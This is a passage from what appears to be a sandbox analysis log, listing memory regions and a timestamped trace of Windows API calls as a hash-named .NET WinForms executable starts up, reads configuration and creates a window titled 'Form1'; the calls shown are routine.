0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 5536 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 5537 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 5538 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 5541 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 5543 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 5544 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 5545 start_va = 0x4110000 end_va = 0x411ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004110000" filename = "" Region: id = 5576 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 5609 start_va = 0x5b20000 end_va = 0x5b5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b20000" filename = "" Region: id = 5610 start_va = 0x5b70000 end_va = 0x5baffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b70000" filename = "" Region: id = 5611 start_va = 0x89d0000 end_va = 0x8acffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000089d0000" filename = "" Region: id = 5612 start_va = 0x7ef98000 end_va = 0x7ef9afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef98000" filename = "" Thread: id = 1 os_tid = 0xed4 [0053.368] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0057.256] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ee770 | out: phkResult=0x3ee770*=0x0) returned 0x2 [0057.256] RegCloseKey (hKey=0x80000002) returned 0x0 [0057.262] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", nBufferLength=0x105, lpBuffer=0x3ee9f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", lpFilePart=0x0) returned 0x77 [0057.281] IsAppThemed () returned 0x1 [0057.288] CoTaskMemAlloc (cb=0xf0) returned 0x828730 [0057.288] CreateActCtxA (pActCtx=0x3eef18) returned 0x828924 [0057.391] CoTaskMemFree (pv=0x828730) [0057.411] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc1be [0057.411] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLTYPE") returned 0xc1bc [0057.825] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe.config", nBufferLength=0x105, lpBuffer=0x3ee88c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe.config", lpFilePart=0x0) returned 0x66 [0058.016] GetCurrentProcess () returned 0xffffffff [0058.017] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3eebc4 | out: TokenHandle=0x3eebc4*=0x1f4) returned 1 [0058.022] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x3ee67c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0058.111] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x3eebbc | out: lpFileInformation=0x3eebbc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0058.113] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x3ee648, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0058.113] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x3eebc4 | out: lpFileInformation=0x3eebc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0058.115] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x3ee5e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0058.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3eeafc) returned 1 [0058.117] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x40 [0058.118] GetFileType (hFile=0x40) returned 0x1 [0058.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3eeaf8) returned 1 [0058.118] GetFileType (hFile=0x40) returned 0x1 [0061.286] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x3ede38, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0061.286] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x3ede9c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0061.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3ee0dc) returned 1 [0061.287] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x3ee3a0 | out: lpFileInformation=0x3ee3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63fb400, ftCreationTime.dwHighDateTime=0x1d4e4ee, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xc63fb400, ftLastWriteTime.dwHighDateTime=0x1d4e4ee, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0061.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3ee0d8) returned 1 [0061.453] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x3ee26c | out: pfEnabled=0x3ee26c) returned 0x0 [0061.797] GetFileSize (in: hFile=0x40, lpFileSizeHigh=0x3eebb8 | out: lpFileSizeHigh=0x3eebb8*=0x0) returned 0x8c8e [0061.798] ReadFile (in: hFile=0x40, lpBuffer=0x21401f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3eeb74, lpOverlapped=0x0 | out: lpBuffer=0x21401f0*, lpNumberOfBytesRead=0x3eeb74*=0x1000, lpOverlapped=0x0) returned 1 [0061.848] ReadFile (in: hFile=0x40, lpBuffer=0x21401f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3eea24, lpOverlapped=0x0 | out: lpBuffer=0x21401f0*, lpNumberOfBytesRead=0x3eea24*=0x1000, lpOverlapped=0x0) returned 1 [0061.850] ReadFile (in: hFile=0x40, lpBuffer=0x21401f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ee8d8, lpOverlapped=0x0 | out: lpBuffer=0x21401f0*, lpNumberOfBytesRead=0x3ee8d8*=0x1000, lpOverlapped=0x0) returned 1 [0061.851] ReadFile (in: hFile=0x40, lpBuffer=0x21401f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ee8d8, lpOverlapped=0x0 | out: lpBuffer=0x21401f0*, lpNumberOfBytesRead=0x3ee8d8*=0x1000, lpOverlapped=0x0) returned 1 [0061.852] ReadFile (in: hFile=0x40, lpBuffer=0x21401f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ee8d8, lpOverlapped=0x0 | out: lpBuffer=0x21401f0*, lpNumberOfBytesRead=0x3ee8d8*=0x1000, lpOverlapped=0x0) returned 1 [0061.852] ReadFile (in: hFile=0x40, lpBuffer=0x21401f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ee810, lpOverlapped=0x0 | out: lpBuffer=0x21401f0*, lpNumberOfBytesRead=0x3ee810*=0x1000, lpOverlapped=0x0) returned 1 [0061.861] ReadFile (in: hFile=0x40, lpBuffer=0x21401f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ee97c, lpOverlapped=0x0 | out: lpBuffer=0x21401f0*, lpNumberOfBytesRead=0x3ee97c*=0x1000, lpOverlapped=0x0) returned 1 [0061.863] ReadFile (in: hFile=0x40, lpBuffer=0x21401f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ee870, lpOverlapped=0x0 | out: lpBuffer=0x21401f0*, lpNumberOfBytesRead=0x3ee870*=0x1000, lpOverlapped=0x0) returned 1 [0061.863] ReadFile (in: hFile=0x40, lpBuffer=0x21401f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ee870, lpOverlapped=0x0 | out: lpBuffer=0x21401f0*, lpNumberOfBytesRead=0x3ee870*=0xc8e, lpOverlapped=0x0) returned 1 [0061.863] ReadFile (in: hFile=0x40, lpBuffer=0x21401f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ee934, lpOverlapped=0x0 | out: lpBuffer=0x21401f0*, lpNumberOfBytesRead=0x3ee934*=0x0, lpOverlapped=0x0) returned 1 [0061.864] CloseHandle (hObject=0x40) returned 1 [0061.864] CloseHandle (hObject=0x1f4) returned 1 [0061.865] GetCurrentProcess () returned 0xffffffff [0061.865] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3eed10 | out: TokenHandle=0x3eed10*=0x1f4) returned 1 [0061.865] CloseHandle (hObject=0x1f4) returned 1 [0061.866] GetCurrentProcess () returned 0xffffffff [0061.866] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3eed10 | out: TokenHandle=0x3eed10*=0x1f4) returned 1 [0061.866] CloseHandle (hObject=0x1f4) returned 1 [0061.872] GetCurrentProcess () returned 0xffffffff [0061.872] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3eebc4 | out: TokenHandle=0x3eebc4*=0x1f4) returned 1 [0061.873] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe.config" (normalized: "c:\\users\\keecfmwgj\\desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x3eebbc | out: lpFileInformation=0x3eebbc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0061.873] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe.config", nBufferLength=0x105, lpBuffer=0x3ee648, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe.config", lpFilePart=0x0) returned 0x66 [0061.874] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe.config" (normalized: "c:\\users\\keecfmwgj\\desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x3eebc4 | out: lpFileInformation=0x3eebc4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0061.874] CloseHandle (hObject=0x1f4) returned 1 [0061.874] GetCurrentProcess () returned 0xffffffff [0061.875] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3eed10 | out: TokenHandle=0x3eed10*=0x1f4) returned 1 [0061.875] CloseHandle (hObject=0x1f4) returned 1 [0061.876] GetCurrentProcess () returned 0xffffffff [0061.876] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3eed10 | out: TokenHandle=0x3eed10*=0x1f4) returned 1 [0061.877] CloseHandle (hObject=0x1f4) returned 1 [0061.897] GetCurrentProcess () returned 0xffffffff [0061.897] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3eeb28 | out: TokenHandle=0x3eeb28*=0x1f4) returned 1 [0061.904] CloseHandle (hObject=0x1f4) returned 1 [0061.904] GetCurrentProcess () returned 0xffffffff [0061.904] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3eeb40 | out: TokenHandle=0x3eeb40*=0x1f4) returned 1 [0061.910] CloseHandle (hObject=0x1f4) returned 1 [0061.919] GetSystemMetrics (nIndex=75) returned 1 [0061.926] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0062.669] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75d40000 [0062.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AddDllDirectory", cchWideChar=15, lpMultiByteStr=0x3eee0c, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AddDllDirectory", lpUsedDefaultChar=0x0) returned 15 [0062.673] GetProcAddress (hModule=0x75d40000, lpProcName="AddDllDirectory") returned 0x75161e91 [0062.673] LoadLibraryExW (lpLibFileName="comctl32.dll", hFile=0x0, dwFlags=0x800) returned 0x71e30000 [0062.710] AdjustWindowRectEx (in: lpRect=0x3eef74, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x3eef74) returned 1 [0062.720] GetCurrentProcess () returned 0xffffffff [0062.720] GetCurrentThread () returned 0xfffffffe [0062.720] GetCurrentProcess () returned 0xffffffff [0062.720] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x3eee8c, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x3eee8c*=0x40) returned 1 [0062.722] GetCurrentThreadId () returned 0xed4 [0062.737] GetCurrentActCtx (in: lphActCtx=0x3eedec | out: lphActCtx=0x3eedec*=0x0) returned 1 [0062.737] ActivateActCtx (in: hActCtx=0x828924, lpCookie=0x3eedfc | out: hActCtx=0x828924, lpCookie=0x3eedfc) returned 1 [0062.739] GetModuleHandleW (lpModuleName="user32.dll") returned 0x75b00000 [0062.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DefWindowProcW", cchWideChar=14, lpMultiByteStr=0x3eeca4, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefWindowProcW\x7fnèY\x81\x19Dþ+qlñ>", lpUsedDefaultChar=0x0) returned 14 [0062.739] GetProcAddress (hModule=0x75b00000, lpProcName="DefWindowProcW") returned 0x770725dd [0062.740] GetStockObject (i=5) returned 0x1900015 [0062.743] GetModuleHandleW (lpModuleName=0x0) returned 0x1a0000 [0062.747] CoTaskMemAlloc (cb=0x5c) returned 0x833900 [0062.747] RegisterClassW (lpWndClass=0x3eec94) returned 0xc107 [0062.747] CoTaskMemFree (pv=0x833900) [0062.748] GetModuleHandleW (lpModuleName=0x0) returned 0x1a0000 [0062.748] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffd, hMenu=0x0, hInstance=0x1a0000, lpParam=0x0) returned 0x70024 [0062.749] SetWindowLongW (hWnd=0x70024, nIndex=-4, dwNewLong=1996957149) returned 79366358 [0062.750] GetWindowLongW (hWnd=0x70024, nIndex=-4) returned 1996957149 [0062.756] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ee5a8 | out: phkResult=0x3ee5a8*=0x234) returned 0x0 [0062.760] RegQueryValueExW (in: hKey=0x234, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x3ee5c8, lpData=0x0, lpcbData=0x3ee5c4*=0x0 | out: lpType=0x3ee5c8*=0x0, lpData=0x0, lpcbData=0x3ee5c4*=0x0) returned 0x2 [0062.760] RegQueryValueExW (in: hKey=0x234, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x3ee5c8, lpData=0x0, lpcbData=0x3ee5c4*=0x0 | out: lpType=0x3ee5c8*=0x0, lpData=0x0, lpcbData=0x3ee5c4*=0x0) returned 0x2 [0062.760] RegCloseKey (hKey=0x234) returned 0x0 [0062.763] SetWindowLongW (hWnd=0x70024, nIndex=-4, dwNewLong=79366398) returned 1996957149 [0062.763] GetWindowLongW (hWnd=0x70024, nIndex=-4) returned 79366398 [0062.763] GetWindowLongW (hWnd=0x70024, nIndex=-16) returned 113311744 [0062.764] RegisterClipboardFormatW (lpszFormat="WinFormsMouseEnter") returned 0xc1bd [0062.765] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x70024, Msg=0x24, wParam=0x0, lParam=0x3ee880) returned 0x0 [0062.765] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc059 [0062.765] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x70024, Msg=0x81, wParam=0x0, lParam=0x3ee874) returned 0x1 [0062.765] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x70024, Msg=0x83, wParam=0x0, lParam=0x3ee860) returned 0x0 [0062.766] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x70024, Msg=0x1, wParam=0x0, lParam=0x3ee874) returned 0x0 [0062.766] GetClientRect (in: hWnd=0x70024, lpRect=0x3ee5dc | out: lpRect=0x3ee5dc) returned 1 [0062.766] GetWindowRect (in: hWnd=0x70024, lpRect=0x3ee5dc | out: lpRect=0x3ee5dc) returned 1 [0062.767] GetParent (hWnd=0x70024) returned 0x0 [0062.767] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1fc10001) returned 1 [0062.861] AdjustWindowRectEx (in: lpRect=0x3eef60, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3eef60) returned 1 [0062.861] GetSystemMetrics (nIndex=59) returned 1460 [0062.861] GetSystemMetrics (nIndex=60) returned 920 [0062.861] GetSystemMetrics (nIndex=34) returned 132 [0062.861] GetSystemMetrics (nIndex=35) returned 38 [0062.861] AdjustWindowRectEx (in: lpRect=0x3eee60, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3eee60) returned 1 [0062.866] CreateCompatibleDC (hdc=0x0) returned 0x19010b54 [0062.874] GetSystemDefaultLCID () returned 0x409 [0062.875] GetStockObject (i=17) returned 0x18a0025 [0062.876] GetObjectW (in: h=0x18a0025, c=92, pv=0x3eeca4 | out: pv=0x3eeca4) returned 92 [0062.878] GetDC (hWnd=0x0) returned 0x2010b5b [0063.402] GdiplusStartup (in: token=0x126158, input=0x3ee268, output=0x3ee2b8 | out: token=0x126158, output=0x3ee2b8) returned 0x0 [0063.411] CoTaskMemAlloc (cb=0x5c) returned 0x833900 [0063.412] GdipCreateFontFromLogfontW (hdc=0x2010b5b, logfont=0x833900, font=0x3eed6c) returned 0x0 [0072.056] CoTaskMemFree (pv=0x833900) [0072.058] CoTaskMemAlloc (cb=0x5c) returned 0x833900 [0072.058] CoTaskMemFree (pv=0x833900) [0072.059] CoTaskMemAlloc (cb=0x5c) returned 0x833900 [0072.059] CoTaskMemFree (pv=0x833900) [0072.060] GdipGetFontUnit (font=0x422230, unit=0x3eed34) returned 0x0 [0072.060] GdipGetFontSize (font=0x422230, size=0x3eed38) returned 0x0 [0072.060] GdipGetFontStyle (font=0x422230, style=0x3eed30) returned 0x0 [0072.062] GdipGetFamily (font=0x422230, family=0x3eed2c) returned 0x0 [0072.064] GdipGetFontSize (font=0x422230, size=0x215cd2c) returned 0x0 [0072.064] ReleaseDC (hWnd=0x0, hDC=0x2010b5b) returned 1 [0072.065] GetDC (hWnd=0x0) returned 0x2010b5b [0072.065] GdipCreateFromHDC (hdc=0x2010b5b, graphics=0x3eed48) returned 0x0 [0072.068] GdipGetDpiY (graphics=0x760b6d0, dpi=0x215ce08) returned 0x0 [0072.068] GdipGetFontHeight (font=0x422230, graphics=0x760b6d0, height=0x3eed40) returned 0x0 [0072.069] GdipGetEmHeight (family=0x651f6b0, style=0, EmHeight=0x3eed48) returned 0x0 [0072.069] GdipGetLineSpacing (family=0x651f6b0, style=0, LineSpacing=0x3eed48) returned 0x0 [0072.070] GdipDeleteGraphics (graphics=0x760b6d0) returned 0x0 [0072.070] ReleaseDC (hWnd=0x0, hDC=0x2010b5b) returned 1 [0072.071] GdipCreateFont (fontFamily=0x651f6b0, emSize=0x41040000, style=0, unit=0x3, font=0x215ce24) returned 0x0 [0072.071] GdipGetFontSize (font=0x7480e68, size=0x215ce28) returned 0x0 [0072.072] GdipDeleteFont (font=0x422230) returned 0x0 [0072.074] GetDC (hWnd=0x0) returned 0x2010b5b [0072.074] GdipCreateFromHDC (hdc=0x2010b5b, graphics=0x3eed7c) returned 0x0 [0072.075] CoTaskMemAlloc (cb=0x5c) returned 0x833900 [0072.075] GdipGetLogFontW (font=0x7480e68, graphics=0x760b6d0, logfontW=0x833900) returned 0x0 [0072.076] CoTaskMemFree (pv=0x833900) [0072.076] CoTaskMemAlloc (cb=0x5c) returned 0x833900 [0072.076] CoTaskMemFree (pv=0x833900) [0072.076] CoTaskMemAlloc (cb=0x5c) returned 0x833900 [0072.077] CoTaskMemFree (pv=0x833900) [0072.077] GdipDeleteGraphics (graphics=0x760b6d0) returned 0x0 [0072.077] ReleaseDC (hWnd=0x0, hDC=0x2010b5b) returned 1 [0072.077] CoTaskMemAlloc (cb=0x5c) returned 0x833900 [0072.077] CreateFontIndirectW (lplf=0x833900) returned 0x260a0240 [0072.077] CoTaskMemFree (pv=0x833900) [0072.078] SelectObject (hdc=0x19010b54, h=0x260a0240) returned 0x18a002e [0072.078] GetTextMetricsW (in: hdc=0x19010b54, lptm=0x3eee88 | out: lptm=0x3eee88) returned 1 [0072.079] GetTextExtentPoint32W (in: hdc=0x19010b54, lpString="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", c=52, psizl=0x215d050 | out: psizl=0x215d050) returned 1 [0072.081] SelectObject (hdc=0x19010b54, h=0x18a002e) returned 0x260a0240 [0072.081] DeleteDC (hdc=0x19010b54) returned 1 [0072.082] AdjustWindowRectEx (in: lpRect=0x3eebf0, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3eebf0) returned 1 [0072.082] AdjustWindowRectEx (in: lpRect=0x3eee14, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3eee14) returned 1 [0072.082] AdjustWindowRectEx (in: lpRect=0x3eeb68, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3eeb68) returned 1 [0072.082] AdjustWindowRectEx (in: lpRect=0x3eec4c, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3eec4c) returned 1 [0072.087] GetSystemMetrics (nIndex=59) returned 1460 [0072.087] GetSystemMetrics (nIndex=60) returned 920 [0072.087] GetSystemMetrics (nIndex=34) returned 132 [0072.087] GetSystemMetrics (nIndex=35) returned 38 [0072.087] AdjustWindowRectEx (in: lpRect=0x3eeaf8, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3eeaf8) returned 1 [0072.087] AdjustWindowRectEx (in: lpRect=0x3eebc0, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3eebc0) returned 1 [0072.088] GetCurrentActCtx (in: lphActCtx=0x3eef8c | out: lphActCtx=0x3eef8c*=0x0) returned 1 [0072.088] ActivateActCtx (in: hActCtx=0x828924, lpCookie=0x3eef9c | out: hActCtx=0x828924, lpCookie=0x3eef9c) returned 1 [0072.089] GetCurrentActCtx (in: lphActCtx=0x3eedac | out: lphActCtx=0x3eedac*=0x828924) returned 1 [0072.089] AdjustWindowRectEx (in: lpRect=0x3eed0c, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3eed0c) returned 1 [0072.089] GetModuleHandleW (lpModuleName=0x0) returned 0x1a0000 [0072.089] CreateWindowExW (dwExStyle=0x50000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", lpWindowName="Form1", dwStyle=0x2cf0000, X=-2147483648, Y=-2147483648, nWidth=508, nHeight=322, hWndParent=0x0, hMenu=0x0, hInstance=0x1a0000, lpParam=0x0) returned 0x50148 [0072.090] SetWindowLongW (hWnd=0x50148, nIndex=-4, dwNewLong=1996957149) returned 79366358 [0072.090] GetWindowLongW (hWnd=0x50148, nIndex=-4) returned 1996957149 [0072.090] SetWindowLongW (hWnd=0x50148, nIndex=-4, dwNewLong=79366438) returned 1996957149 [0072.090] GetWindowLongW (hWnd=0x50148, nIndex=-4) returned 79366438 [0072.090] GetWindowLongW (hWnd=0x50148, nIndex=-16) returned 114229248 [0072.091] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x50148, Msg=0x81, wParam=0x0, lParam=0x3ee834) returned 0x1 [0072.092] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x50148, Msg=0x83, wParam=0x0, lParam=0x3ee820) returned 0x0 [0072.291] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x50148, Msg=0x1, wParam=0x0, lParam=0x3ee834) returned 0x0 [0072.291] GetClientRect (in: hWnd=0x50148, lpRect=0x3ee56c | out: lpRect=0x3ee56c) returned 1 [0072.291] GetWindowRect (in: hWnd=0x50148, lpRect=0x3ee56c | out: lpRect=0x3ee56c) returned 1 [0072.292] SetWindowTextW (hWnd=0x50148, lpString="Form1") returned 1 [0072.292] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x50148, Msg=0xc, wParam=0x0, lParam=0x215c580) returned 0x1 [0072.301] GetProcessWindowStation () returned 0x60 [0072.305] GetUserObjectInformationA (in: 